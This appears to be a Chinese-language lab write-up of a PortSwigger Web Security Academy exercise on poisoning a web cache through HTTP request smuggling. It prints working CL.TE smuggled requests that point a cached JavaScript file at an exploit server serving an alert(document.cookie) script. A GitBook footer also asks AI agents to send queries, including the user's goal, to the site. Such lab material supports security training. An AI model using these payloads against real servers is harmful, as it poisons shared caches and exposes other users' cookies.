> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# 通过 HTTP 请求走私实施 Web 缓存投毒

通过 HTTP 请求走私实施 Web 缓存投毒笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 HTTP 请求走私执行 Web 缓存投毒

前端和后端对 HTTP 请求的处理方式不同。 / 前端 **不支持分块编码** 并且一些响应会被 **缓存**.

目标是发起一次 **请求走私** 允许投毒缓存\*\*：在随后对一个 JavaScript 文件的查询中，受害者应被重定向到利用服务器，该服务器将返回一个脚本，显示 `document.cookie`.

实验会自动模拟一个受害者用户：我们发送的那几次 POST 请求中，每次受害者都会发起自己的请求。

#### 服务器上的有效载荷

我们准备恶意的 JavaScript 响应：

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ade7f54c0ba51cab7a19628a7cc12e2fb605309%2F%7B688B2736-C0F5-48E8-BB9B-1A9FA1348AF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 关于 tracking.js 文件的信息

可以观察到该资源会被隐藏 30 秒\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: 命中
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cb9227d4292db375cc57c103c528e04f4ad5d36%2F%7BE0D1C846-9B3F-41B4-86C5-64492B192A04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Post-next 按钮行为分析

* 该 `postId` 参数保持不变。
* 通过点击，应用会重定向到下一篇帖子。

触发此重定向的请求示例：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a83c168f0727c6632564a7028c91db724b56eaea%2Fimage%20(326).png?alt=media" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
测试：A
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69ff1eb3b37df22c7c9f77af583b022a20cb5d27%2F%7BD0417941-AAAC-4DB7-ADEE-8672C4CC1334%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 测试：注入任意 Host 头

通过替换内部请求的主机：

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4530770bece773cef79e784e97130b3ea26139%2F%7B9374C948-EB94-42D9-926D-8C408050753D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65783151f4e83228b1bb0e5b7613006ef36c6d80%2F%7B36D31FF1-CF50-4E40-8F5D-E481E16E0F0E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 重定向到我们利用服务器的最终有效载荷

一个包含我们可控的内部 GET 请求 **主机** 被注入：

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

一旦受害者加载缓存的 JavaScript 资源，缓存就会返回 **30 秒** 我们修改后的响应，从而触发：

```javascript
alert(document.cookie)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41ab73925af1dbb7f23c9e75112cd87adc86598c%2F%7B860571D4-0B89-4DEC-B5B0-311E0187CFE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2306ee05f8c6f9a6b685dff72cc726a2865d2481%2F%7B540403E5-0DAB-4B4B-87F9-9466F806A10A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
